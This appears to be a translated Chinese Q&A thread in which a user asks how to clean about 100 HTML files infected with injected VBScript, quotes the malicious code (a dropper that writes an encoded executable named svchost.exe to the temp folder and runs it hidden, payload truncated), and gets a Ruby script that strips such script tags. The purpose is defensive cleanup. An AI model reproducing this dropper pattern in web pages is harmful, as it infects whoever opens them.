1

我的电脑上有几个html文件,是从朋友那里借来的,不幸的是所有文件都被感染了,它们都在源代码中插入了恶意的vbscript代码。我有 100 个文件,无法编辑所有文件的源代码。有没有办法可以删除恶意脚本并仍然获取数据?

编辑:这是代码示例

<script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9000030000000400........................8CB03FA48CB03"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

在线上传是否安全?

4

1 回答 1

1

有很多防病毒软件可以检测到这种病毒并删除受感染的 html 文件。

您可以运行以下 ruby​​ 脚本,该脚本将检测到错误的 vbscript 标记并将其删除。

class VirusKiller
  VIRUS_REG = /<SCRIPT Language=VBScript>[\s\w\W\d.]*<\/SCRIPT>/

  def fix_html_virus(file)
     return if File.extname(file) != '.html'
     file_content = File.read(file) 
     clean_content = file_content.gsub(VIRUS_REG, '')
     File.open(file, "w") { |new_file| new_file << clean_content }
  end

  def transverse_files(base)
    Dir.foreach(base) do |file|
      begin
        next if file == '.' or file == '..'

        if File.file?(base+file)
          fix_html_virus base+file
        else
          transverse_files(base+file+'/')
        end
      rescue Exception => e
        puts e.message
      end
    end
  end

  def run(root_path)
    transverse_files root_path
  end
end

VirusKiller.new.run ARGV[0]

安装 Ruby,将此脚本复制到某个文件中(比如说 virus_killer.rb)。在 cmd 中浏览到此文件的位置(如果您在 window 中)并运行此命令。

ruby virus_killer.rb /path/to/infected_folder/
于 2015-04-07T05:55:44.273 回答